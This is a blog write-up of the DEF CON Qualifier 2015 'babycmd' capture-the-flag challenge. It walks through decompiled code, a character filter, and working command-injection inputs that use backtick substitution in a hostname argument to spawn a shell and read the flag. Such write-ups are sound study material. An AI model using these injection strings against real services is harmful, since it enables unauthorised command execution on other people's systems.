Thursday, May 28, 2015

DEF CON Qualifier 2015: babycmd - write-up

I worked on this challenge during the "DEF CON Qualifier 2015" as part of a CTF team called seven. This writeup is the result of team effort, as one other team member also participated in solving this task.

The first thing we did was look at the strings (bellow is a truncated listing of strings).
# strings babycmd_3ad28b10e8ab283d7df81795075f600b
Too long, closing.
No address specified.
Invalid IP address.
ping -c 3 -W 3 %s
Command failed.
dig -x %s
Invalid hostname.
dig '%s'
host %s
host "%s"

The dig and host commands seem to use single and double quotations to escape parameters. We immediately try a few IP's with exploits - but with no success. Obviously, we have no choice but to disassemble the binary and peek at what is actually going on inside.

It's fairly easy to see that each command (ping, host, dig) has its own subroutine and it's own command string that is being dynamically built and sent to the shell. However, it seems only the host name-type parameters are being copied in the command string, the IP's are converted with inet functions and are thus not exploitable.
The ping command does not allow a host name to be defined, so it is obviously of no use. The only difference between the host and dig commands is that dig escapes the host name with a single quotation mark, and the host command with a double quotation mark. A rough dissassembly of the host command is shown bellow.

host_cmd(long input)
{  
  if ( input )
  {
    if ( (unsigned int)some_type_of_check(input, (long)&cp) )
    {
      if ( inet_aton(&cp, &ip_converted) )
      {
        ip_bin = (long)inet_ntoa(ip_converted);
        __sprintf_chk((long)&command, 1LL, 384LL, (long)"host %s", ip_bin);
      }
      else
      {
        if ( !(unsigned int)some_other_check((long)&cp) )
        {
          puts("Invalid hostname.");
          return ;
        }
        __sprintf_chk((long)&command, 1LL, 384LL, (long)"host \"%s\"", (long)&cp);
      }
      file_handler = popen(&command, "r");
      if ( file_handler )
      {
        while ( fgets(&s, 512, file_handler) )
          __printf_chk(1LL, &s);
        pclose(file_handler);
      }
      else
      {
        puts("Command failed.");
      }
    }
    else
    {
      puts("Invalid Host or IP address sent to dig.");
    }
  }
  else
  {
    puts("No address specified.");
  }
  return ;
}

Looking at the dissasembly of other commands, we see that they all use two functions to check the user input for invalid characters: some_type_of_check, some_other_check. Looking at the first function, it is obvious that it the following characters are being filtered:

!
#
&
'
*
|

Since we cannot use the single quote, obviously the dig command is out of the question. What is left is the host command which uses double quotation marks. We didn't have time to analyse the second function in more detail, but it is obvious that it removes the space character, which should make it hard to craft any meaningful shell commands. But, we're getting ahead of ourselves - first, a way to inject the shell commands needs to be found!  :)

# ./babycmd_3ad28b10e8ab283d7df81795075f600b

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host aaa.aa$PWD
Host aaa.aa/media/sf_CTFs/DEFCON_quals_2015/babys_first_1_babycmd not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
: host aaa\\`ls
sh: 1: Syntax error: EOF in backquote substitution
Commands: ping, dig, host, exit
: host aaa\\`ls\\`ls
sh: 1: ls\: not found
Host aaa\ls not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
: host sfsadf\\`ls`d
host: 'sfsadf\babycmd_3ad28b10e8ab283d7df81795075f600b
babycmd_orig' is not a legal name (label too long)
Commands: ping, dig, host, exit

After trying a few injections strings we hit jackpot! The ls command worked when escaped with `` (back-tick). Since we could not use the space command, obviously we tried opening a shell where we could bash away more freely, so we sent the following injection: host sfsadf\\`bash`d.

(In retrospect, we probably should have paid more attention to the second filter function which just removes space characters - other white space characters are left intact. There are a few more elegant writeups by other teams out there that leveraged the tab character - nice!)

At this point we got a non-responsive shell with no prompt... great.. now what!?!
We tried a bunch of commands and got no response. For kicks, I tried issuing a recursive listing on root, and got something like this (truncated .. the "permissions denied" list was quite long..):

# ls -lR /
ls: /proc/cpuinfo: Permission denied

A-ha! Finally, some output! But why are we only receiving answers when there was an error, and not otherwise? Perhaps the stdout is being piped somewhere else? Lets see...

# ls -al 1>&2
total 92
drwxr-xr-x  22 root root  4096 May 15 10:48 .
drwxr-xr-x  22 root root  4096 May 15 10:48 ..
drwxr-xr-x   2 root root  4096 Apr 19 22:43 bin
drwxr-xr-x   3 root root  4096 Apr 19 22:43 boot
drwxr-xr-x  13 root root  3980 May 15 10:54 dev
drwxr-xr-x  98 root root  4096 May 15 10:55 etc
drwxr-xr-x   4 root root  4096 May 15 10:55 home
lrwxrwxrwx   1 root root    33 Apr 19 22:43 initrd.img -> boot/initrd.img-3.13.0-49-generic
lrwxrwxrwx   1 root root    33 Mar 19 19:26 initrd.img.old -> boot/initrd.img-3.13.0-46-generic
drwxr-xr-x  21 root root  4096 Jan 23 00:40 lib
drwxr-xr-x   2 root root  4096 Mar 19 19:26 lib64
drwx------   2 root root 16384 Jan 23 00:42 lost+found
drwxr-xr-x   2 root root  4096 Jan 23 00:39 media
drwxr-xr-x   2 root root  4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root  4096 Jan 23 00:39 opt
dr-xr-xr-x 118 root root     0 May 15 10:48 proc
drwx------   5 root root  4096 May 17 00:40 root
drwxr-xr-x  22 root root   800 May 17 00:39 run
drwxr-xr-x   2 root root 12288 May 15 10:55 sbin
drwxr-xr-x   2 root root  4096 Jan 23 00:39 srv
dr-xr-xr-x  13 root root     0 May 15 10:48 sys
drwxrwxrwt   2 root root  4096 May 17 16:23 tmp
drwxr-xr-x  10 root root  4096 Jan 23 00:39 usr
drwxr-xr-x  12 root root  4096 Jan 23 00:42 var
lrwxrwxrwx   1 root root    30 Apr 19 22:43 vmlinuz -> boot/vmlinuz-3.13.0-49-generic
lrwxrwxrwx   1 root root    30 Mar 19 19:26 vmlinuz.old -> boot/vmlinuz-3.13.0-46-generic

Yup.. that's it!  :)
Piping stdout to stderr shows the output of any command. After browsing the home folder a bit we notice a file named flag. Let's have a look at the flag for this challenge:

# cat flag 1>&2
The flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??


No comments:

Post a Comment